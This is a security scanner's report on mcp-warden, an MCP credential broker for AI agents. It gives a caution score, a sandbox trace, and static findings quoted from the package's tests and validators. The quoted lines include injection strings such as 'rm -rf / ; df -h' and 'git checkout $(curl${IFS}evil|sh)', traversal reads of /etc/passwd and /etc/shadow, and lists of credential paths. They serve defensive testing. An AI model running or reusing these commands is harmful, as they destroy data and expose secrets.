mcp-warden@r1
CAUTION· install onlyPublisher claims: "Local credential broker for AI agents: they call HTTP APIs, SSH, SFTP and databases through allow-listed presets while secrets stay in the OS keychain. Per-preset approval (desktop, terminal or Telegram) and an append-only audit log." Observed in sandbox: no network, touches nothing outside the project, writes no memory.
Coverage
Nothing executable in the bundle ran; the trace covers the install step only.- Tested
- every file read, file written and host contacted by what ran
- Not tested
- use of the skill by an agent
What this means for the label: Caution here covers what ran. The server's tools were not exercised with a real credential, so nothing about their behavior is asserted; the credential summary below says what to do with that.
Before you give it your token
- It will ask for
GITHUB_TOKENPROXY_CHILD_TOKEN_URLTOKENConfiguration, not credentials: AUDIT_H1_CONFIRMED, AUDIT_H1_DIR, AUDIT_H2_OUT, AUDIT_H4_OUT, AUDIT_H4_PATH, AUDIT_H5_UPSTREAM, DIALOG_ENV_FAKE, DIALOG_ENV_OUT, MCP_WARDEN_APPROVAL_TRANSPORT, MCP_WARDEN_BACKEND, MCP_WARDEN_CONFIG_DIR, OSENV_OUT- Where it talks to
- no vendor host named in the codeAlso attacker.example, evil.localhost, telegram.org, amazonaws.com, gitlab.example, x.example, attacker.com, example.test, example.org, x.dev, evil.example — not the publisher's domain; check what for before connecting.
- What the honeypot saw
- no credential files read · no network
- What we could not test
- use of the skill by an agent
Connect it with a scoped credential, under the guard, and read the third-party hosts first. The code names attacker.example, evil.localhost, telegram.org, amazonaws.com, gitlab.example, x.example, attacker.com, example.test, example.org, x.dev, evil.example as well as its own vendor. The guard injects GITHUB_TOKEN, PROXY_CHILD_TOKEN_URL, TOKEN only into requests to the host you bind (and its subdomains) and refuses the rest.
Never paste a credential into a chat, a ticket or a report, including ours. How the guard holds it.
Is mcp-warden@r1 safe to install?
KillerSkills ran it in the KillerSkills honeypot sandbox (1 scenario; nothing executable in the bundle ran; the trace covers the install step only) on 2026-11-14 and scored it 62/100 (Caution). It is not known to be malicious, but it has behaviour or code a security policy should decide on before install. Notable findings: Destructive command against a filesystem root or device; Image alt text carrying instructions; Destructive command against a filesystem root or device. Summary: no network, touches nothing outside the project, writes no memory.
Behavior trace
Honeypot run · 0 s · 1 scenarios · 0 deviationsStatic findings
/// `^uptime|df -h$`, which would match `rm -rf / ; df -h`.Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.mcp-warden demo: the agent calls the GitHub API through a preset without seeing the token, a prompt-injected DELETE is refused before any request is sent and laFix: Remove the text that addresses the agent rather than the reader; describe behavior, do not instruct.let err = ssh::run(&exec, &ssh_preset(), "rm -rf /".into())Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.for evil in ["rm -rf / ; df -h", "uptime; rm -rf /"] {Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.command: "docker compose pull; rm -rf /",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell."sudo -n systemctl restart {unit}",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.assert_refused(&exec, "deploy", "ssh_exec", "ssh h -- rm -rf /", &err);Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell."sudo -n systemctl restart {unit}",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.command: "rm -rf /".into(),Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell."sudo -n systemctl restart {service}",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell./// `^uptime|df -h$`, which would match `rm -rf / ; df -h`.Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.("ssh_exec", "ssh ? -- rm -rf /"),Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell."sudo -n systemctl restart {unit}",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell."sudo -n systemctl restart {unit}",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.json!({"path": "/srv/app/uploads/../../etc/passwd"}),Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose./// also let `git checkout $(curl …|sh)` through. Each space-separated wordFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.let err = validate_command(&p(), "rm -rf /").unwrap_err();Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.command: "docker compose pull; rm -rf /",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.… `{stdout, stderr, exit_code}`. Auth is key-only; host key is verified against `~/.ssh/known_hosts`. **Do not** try to inject `;`, `&&`, `$()`, backticks — the valida…Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.assert_eq!(a, name_for("oauth2", "../../etc/passwd"));Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose..env("AUDIT_H2_OUT", &out)Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose..env("HTTP_PROXY", &proxy_url)Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.let err = ssh::run(&exec, &ssh_preset(), "rm -rf /".into())Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell..env(Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose."/etc/passwd".into(),Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose..envFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose."sudo chown -R app {path}",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell..env("DIALOG_ENV_OUT", &out)Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose..env("AUDIT_H4_OUT", &out)Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.base_url = "file:///etc/passwd"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose..env("windir", &evil)Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.assert_refused(&exec, "deploy", "ssh_exec", "ssh h -- rm -rf /", &err);Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell..env("AUDIT_H1_DIR", dir.path())Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose."sftp get /etc/passwd ↔ /tmp/passwd",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose..env("MCP_WARDEN_BACKEND", "memory")Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose./// A hard link has no path to resolve: /tmp/x linked to ~/.ssh/id_* isFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose..envFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose..env("http_proxy", &proxy_url)Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose..env(Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.1. **First call `list_presets`.** Don't guess preset names from memory. Don't ask the user to paste a token. Don't suggest editing `.env` files.Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.".netrc",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose..env("PATH", &evil);Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.// `~/.ssh/id_ed25519` is that key under another name, which no pathFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose..env("ALL_PROXY", &proxy_url)Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.- **Do not** suggest writing credentials to `.env`, `~/.netrc`, `~/.aws/credentials`, etc., as a "workaround" for a missing preset.Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.- **Do not** suggest writing credentials to `.env`, `~/.netrc`, `~/.aws/credentials`, etc., as a "workaround" for a missing preset.Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.remote: "/etc/shadow",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose."sudo -n rm -f {path}",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell..env("HTTP_PROXY", &proxy_url)Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose..env("MCP_WARDEN_APPROVAL_TRANSPORT", "test-deny");Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.// `~/.ssh/id_ed25519` is that key under another name, which no pathFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose..env("SystemRoot", &evil)Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose./// Desktop, Cursor, Windsurf, VS Code, Codex) and `.env` files. Read-only;Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.let a = name_for("oauth2", "../../etc/passwd");Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose..env("ALL_PROXY", &proxy_url)Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose..env("http_proxy", &proxy_url)Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose."../../etc/passwd",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.remote: "/etc/passwd".into(),Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose."sudo chown -R app {path}",Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.("put", "/srv/app/x", "/tmp/../etc/passwd"),Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose..env("HOME", dir.path())Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose./// where credentials or startup files live (~/.ssh, ~/.aws, shell rcFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.for evil in ["rm -rf / ; df -h", "uptime; rm -rf /"] {Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.("get", "/etc/shadow", local.as_str()),Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.("get", "/srv/app/../../etc/shadow", local.as_str()),Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose."chmod 644 {path}",Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.let err = validate_command(&p(), "rm -rf /").unwrap_err();Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell..env("AUDIT_H4_PATH", &target)Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.("sftp_transfer", "sftp get /etc/passwd ↔ /tmp/passwd"),Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.let npx = Path::new("/opt/homebrew/bin/npx");Fix: Pin versions and sources; vendor anything fetched at install time.command: "rm -rf /".into(),Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.const DOTENV_HINT: &str = "not imported — tools read .env directly; keep the file out of the \Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose..env("HOME", home)Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.(~/.ssh, ~/.aws, shell rc files, agent configs, mcp-warden's config). \Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose."chmod -R 777 {path}",Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.remote: "/etc/shadow".into(),Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose./// also let `git checkout $(curl …|sh)` through. Each space-separated wordFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out./// `.env`, `.env.local`, … but not the committed samples.Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.let npx = Path::new("/opt/homebrew/bin/npx");Fix: Pin versions and sources; vendor anything fetched at install time.first.contains("/opt/homebrew/bin/npx -y @github/mcp"),Fix: Pin versions and sources; vendor anything fetched at install time.("ssh_exec", "ssh ? -- rm -rf /"),Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.("put", "/srv/app/x", "/etc/passwd"),Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose..env("PATH", "/usr/bin:/bin")Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose..env("OSENV_OUT", &out)Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.//! `.env` files. Read-only — nothing is written and nothing is sent — andFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.client: ".env",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose./// Watch this lock file (`<config dir>/lock`) for the kill switch.Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell."/search/%D0%BF%D1%80%D0%B8%D0%B2%D0%B5%D1%82",Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own."/search/%D0%81%D0%BB%D0%BA%D0%B0",Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own./// `server add github --env GITHUB_PERSONAL_ACCESS_TOKEN -- npx -y @modelcontextprotocol/server-github`.Fix: Pin versions and sources; vendor anything fetched at install time.run `chmod 700 {}` (and check its owner)",Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.// A prompt can stay open for minutes. If the kill switch was thrownFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.description = "kill switch"Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell."/search/%ED%95%9C%EA%B8%80",Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own./// npx reads a project `.npmrc`). The server gets none of it.Fix: Pin versions and sources; vendor anything fetched at install time./// `tests/corpus/*.txt` entries as `(line, input, note)`. The format isFix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why."/opt/homebrew/bin/npx -y @modelcontextprotocol/server-github"Fix: Pin versions and sources; vendor anything fetched at install time."http://192.168.1.10:3000",Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls."http://10.0.0.1",Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls./// The kill switch (`mcp-warden lock`), checked before every call.Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.//! The kill switch. `mcp-warden lock` writes `<config dir>/lock`; every toolFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell."git checkout $(curl${IFS}evil|sh)",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out."kill %self",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell."/users/%EF%BC%8E%EF%BC%8E/admin",Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own."/search/%E6%97%A5%E6%9C%AC%E8%AA%9E",Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own.Cost to the agent
Tokens estimated at four characters each. Skills load their instruction text when triggered; the figure is what that costs.
Known vulnerabilities
Vulnerability advisories (OSV) cover npm and PyPI packages; this registry has no advisory database.
What would make this Verified
18 points to 80 · weights: behavior 45%, static 25%, prompt 15%, publisher 15%- Destructive command against a filesystem root or device≈ +9 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
- Pipe-to-shell pattern≈ +9 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
- Unclaimed publisher≈ +8 on the totalClaim ermoluk: a verified publisher gets +50 on publisher trust. It is free and usually instant with GitHub sign-in.
- Hidden instructions≈ +6 on the totalRemove HTML comments, zero-width characters and white-on-white text that carry instructions. Everything the agent is meant to read should be visible to the person reading the file.
- Privileged sudo command≈ +4 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
- Destructive file system command detected≈ +4 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.